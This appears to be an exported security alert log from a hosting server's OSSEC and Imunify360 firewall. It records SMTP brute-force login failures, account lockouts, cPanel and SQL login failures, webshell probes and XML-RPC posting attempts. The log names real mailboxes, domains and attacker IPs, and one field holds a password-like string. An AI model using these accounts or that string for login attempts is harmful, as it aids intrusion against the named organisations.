plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:14:19 dovecot_login authenticator failed for H=(WLcOYsnxJ) [45.94.31.131]:63668: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 21:14:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account krish has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.177.49.7
country_id: 2017370
description:
2026-01-31 21:14:34 dovecot_login authenticator failed for H=([178.177.49.7]) [178.177.49.7]:44083: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-01-31 21:14:36 H=([167.148.167.71]) [167.148.167.71]:51312 F=<Support@ajplantations.com.my> rejected RCPT <spyong@ajplantations.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.173.156.68
country_id: 1814991
description:
2026-01-31 21:14:53 dovecot_login authenticator failed for H=([61.173.156.68]) [61.173.156.68]:24864: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 21:15:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account krish has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.143.201.18
country_id: 690791
description:
2026-01-31 21:15:48 dovecot_login authenticator failed for H=(host-18-201-143-83.reedlan.com) [83.143.201.18]:59414: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.198.31
country_id: 1814991
description:
2026-01-31 21:15:56 dovecot_login authenticator failed for H=([183.167.198.31]) [183.167.198.31]:57559: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.37.198.190
country_id: 6252001
description:
2026-01-31 21:16:01 dovecot_login authenticator failed for H=(host190.covisint.com) [64.37.198.190]:58009: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:15:18 dovecot_login authenticator failed for H=(c5wIWLVtv) [45.94.31.131]:63473: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.134
country_id: 2017370
description:
2026-01-31 21:15:39 dovecot_login authenticator failed for H=([178.178.194.134]) [178.178.194.134]:43836: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.105.160.100
country_id: 6252001
description:
2026-01-31 21:16:06 dovecot_login authenticator failed for H=syn-024-105-160-100.biz.spectrum.com [24.105.160.100]:54566: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.82
country_id: 1269750
description:
2026-01-31 21:16:11 dovecot_login authenticator failed for H=([182.95.87.148]) [182.95.184.82]:50032: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.157.254.194
country_id: 2017370
description:
2026-01-31 21:16:13 dovecot_login authenticator failed for H=(93.157.254.194.dynamic.ufanet.ru) [93.157.254.194]:55338: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 21:16:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account krish has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:16:20 dovecot_login authenticator failed for H=(b57jq8y) [45.94.31.131]:62273: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-31 21:16:50 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:55578: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.216.58.147
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.aoto.com.my/index.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:17:20 dovecot_login authenticator failed for H=(7SqXEO4) [45.94.31.131]:51602: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-01-31 21:17:31 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:44930: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.217.68.100
country_id: 1814991
description:
2026-01-31 21:17:33 dovecot_login authenticator failed for H=([171.217.68.100]) [171.217.68.100]:51860: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.36
country_id: 2245662
description:
2026-01-31 21:17:44 dovecot_login authenticator failed for H=([213.154.80.21]) [213.154.80.36]:47703: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-01-31 21:17:45 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:34910: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 21:17:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account krish has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:17:39 dovecot_login authenticator failed for H=(Gn63sAAxQ) [45.94.31.131]:49710: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:17:53 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52240: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 21:18:47 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:60291: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:18:12 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57124: 535 Incorrect authentication data (set_id=testing@wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:18:18 dovecot_login authenticator failed for H=(wrdMNTP) [45.94.31.131]:64638: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:19:18 dovecot_login authenticator failed for H=(Yu2lmAt) [45.94.31.131]:60654: 535 Incorrect authentication data (set_id=krish)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.239.207.132
country_id: 690791
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=886497 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.61.176.110
country_id: 3469034
description:
2026-01-31 21:19:59 dovecot_login authenticator failed for H=([187.50.122.20]) [177.61.176.110]:34178: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 21:19:14 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:63016: 535 Incorrect authentication data (set_id=testing@nexuscollection.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.75.254.157
country_id: 3017382
description:
[2026-01-31 21:19:24 +0800] info [cpaneld] 51.75.254.157 - tujuseti "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tujuseti (has_cpuser_file failed)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:19:31 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64684: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.168.207
country_id: 2186224
description:
2026-01-31 21:19:33 dovecot_login authenticator failed for H=([121.73.168.207]) [121.73.168.207]:60200: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/druma_photos/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.168
country_id: 1269750
description:
2026-01-31 21:20:33 dovecot_login authenticator failed for H=(nsg-corporate-168.229.187.122.airtel.in) [122.187.229.168]:44679: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.226.118.0
country_id: 3469034
description:
2026-01-31 21:20:34 dovecot_login authenticator failed for H=([38.226.118.9]) [38.226.118.0]:36942: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.166.226.235
country_id: 1643084
description:
2026-01-31 21:20:54 dovecot_login authenticator failed for H=([103.166.226.235]) [103.166.226.235]:38612: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:20:19 dovecot_login authenticator failed for H=(EKNmkyN) [45.94.31.131]:49981: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.237.115.208
country_id: 732800
description:
2026-01-31 21:20:54 dovecot_login authenticator failed for H=(151.237.115.208.pronet.bg) [151.237.115.208]:52790: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:21:18 dovecot_login authenticator failed for H=(rafwGJCH) [45.94.31.131]:56882: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-01-31 21:21:48 dovecot_login authenticator failed for H=([83.239.84.130]) [83.239.84.130]:46411: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.89.228.203
country_id: 1861060
domain: mail.hmz.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home2/hmzcom/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.166
country_id: 1269750
description:
2026-01-31 21:21:25 dovecot_login authenticator failed for H=([125.19.173.189]) [182.95.181.166]:47220: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/druma_photos/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.148.199.165
country_id: 2077456
description:
2026-01-31 21:21:16 dovecot_login authenticator failed for H=165.199.148.122.sta.wbroadband.net.au [122.148.199.165]:50772: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 21:21:12 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:60721: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.173.39.103
country_id: 2017370
description:
2026-01-31 21:21:34 dovecot_login authenticator failed for H=broadband-109-173-39-103.ip.moscow.rt.ru [109.173.39.103]:56412: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 21:21:37 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account krish has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.34.152.68
country_id: 1814991
description:
2026-01-31 21:21:49 dovecot_login authenticator failed for H=([203.34.152.68]) [203.34.152.68]:51594: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 21:22:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account krish has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.246.106
country_id: 1269750
description:
2026-01-31 21:22:29 dovecot_login authenticator failed for H=([125.17.216.185]) [128.185.246.106]:52556: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-01-31 21:22:59 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:39190: 535 Incorrect authentication data (set_id=info@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:22:17 dovecot_login authenticator failed for H=(NLSPyESp) [45.94.31.131]:54186: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.235.140.163
country_id: 2017370
description:
2026-01-31 21:22:25 dovecot_login authenticator failed for H=(37-235-140-163.dynamic.customer.lanta.me) [37.235.140.163]:43680: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.124.60.46
country_id: 1168579
description:
2026-01-31 21:22:44 dovecot_login authenticator failed for H=([203.124.60.46]) [203.124.60.46]:55013: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-01-31 21:22:05 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:31711: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.140.70.147
country_id: 2802361
description:
2026-01-31 21:23:32 dovecot_login authenticator failed for H=147.70.140.34.bc.googleusercontent.com (10.132.0.2) [34.140.70.147]:58826: 535 Incorrect authentication data (set_id=usman@symphony-led.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-01-31 21:23:24 dovecot_login authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net [71.62.34.216]:55212: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:23:34 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62888: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-31 21:23:26 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:46905: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-01-31 21:23:47 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:45780: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:23:56 dovecot_login authenticator failed for H=(mEi6pcL3d9) [45.94.31.131]:60866: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:23:16 dovecot_login authenticator failed for H=(PVDgfIm68h) [45.94.31.131]:58837: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.108.51
country_id: 2017370
description:
2026-01-31 21:23:46 dovecot_login authenticator failed for H=([95.79.108.51]) [95.79.108.51]:49340: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 21:23:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account krish has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 21:24:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account krish has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:24:16 dovecot_login authenticator failed for H=(VSvyODHzNp) [45.94.31.131]:54673: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.234.53.134
country_id: 6252001
description:
[2026-01-31 21:24:03 +0800] info [cpaneld] 104.234.53.134 - oxboldc "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:24:10 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54016: 535 Incorrect authentication data


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ea75f0dec9c310d87f4d45a02de89dedc717d9d5||Title:0xfe9c059b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:25:14 dovecot_login authenticator failed for H=(1TjdLP) [45.94.31.131]:58323: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.100.159.2
country_id: 1835841
description:
2026-01-31 21:25:44 dovecot_login authenticator failed for H=([222.100.159.2]) [222.100.159.2]:52573: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.85.204
country_id: 337996
description:
2026-01-31 21:25:55 dovecot_login authenticator failed for H=([196.191.212.226]) [213.55.85.204]:7294: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-01-31 21:25:12 H=([167.148.167.71]) [167.148.167.71]:59456 F=<Support@symphony-led.com> rejected RCPT <symphony@symphony-led.com>: smtp auth required


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 21:25:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account krish has been locked for the attacker IP 45.94.31.131


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f15607fe633bebb6f3b95efae003f059c2d207a0||Title:0x98195891||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-01-31 21:25:47 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:56496: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:26:13 dovecot_login authenticator failed for H=(eRIdYX2TX) [45.94.31.131]:61909: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-01-31 21:26:28 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:56596: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.48.25.24
country_id: 6252001
description:
[2026-01-31 21:26:31 +0800] info [cpaneld] 86.48.25.24 - webhosti "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user webhosti (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-01-31 21:26:49 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:54799: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 21:26:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account krish has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.242
country_id: 1733045
description:
2026-01-31 21:26:20 dovecot_login authenticator failed for H=([49.124.152.242]) [49.124.152.242]:52902: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.136.176.12
country_id: 2510769
description:
2026-01-31 21:26:30 dovecot_login authenticator failed for H=([83.136.176.12]) [83.136.176.12]:48766: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-01-31 21:26:17 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:51198: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.237.47.214
country_id: 3996063
description:
2026-01-31 21:26:58 dovecot_login authenticator failed for H=([187.237.47.214]) [187.237.47.214]:59335: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:55376236cba9c6a37733daa989a0872f54c07a88||Title:0x8155230d||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.129.235.252
country_id: 6252001
description:
2026-01-31 21:27:54 dovecot_login authenticator failed for H=(ADMIN) [102.129.235.252]:38692: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 60.13.6.80
country_id: 1814991
description:
2026-01-31 21:27:04 141124 [Warning] Aborted connection 141124 to db: 'unconnected' user: 'unauthenticated' host: '60.13.6.80' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:27:12 dovecot_login authenticator failed for H=(FKO95j) [45.94.31.131]:60526: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:28:32 dovecot_login authenticator failed for H=(h7KwNAl) [45.94.31.131]:63921: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:28:12 dovecot_login authenticator failed for H=(GIhM4sE) [45.94.31.131]:56879: 535 Incorrect authentication data (set_id=krish)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:43ef204665b3b50077a8bc4e71d17e37f5505b1c||Title:0x4437b907||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 206.189.90.199
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:pwd||MV:cuciinocit11xkosanbangle22!@#$%^||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a43e57d32a0f78068c8441faa78e4a936f74e48c||Title:0x09d4de4c||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 112.208.164.77
country_id: 1694008
domain: hmz.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:43372.hmz.com.my||ServerName:hmz.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7a83498e0167fbfd8106afdb89ff432f29d7cdb6||Title:0xdc08efa0||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 221.199.73.129
country_id: 1814991
description:
2026-01-31 21:29:57 144654 [Warning] Aborted connection 144654 to db: 'unconnected' user: 'unauthenticated' host: '221.199.73.129' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:29:12 dovecot_login authenticator failed for H=(MteutdN) [45.94.31.131]:65007: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-01-31 21:29:18 dovecot_plain authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:17382: 535 Incorrect authentication data (set_id=project@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:29:55 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54657: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:30:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64294: 535 Incorrect authentication data (set_id=testing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-01-31 21:31:41 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:34440: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f98329205c3b174e355461f53e968554aa88a652||Title:0x22eef13d||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:31:09 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53230: 535 Incorrect authentication data (set_id=testing@wcc.wohcheong.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
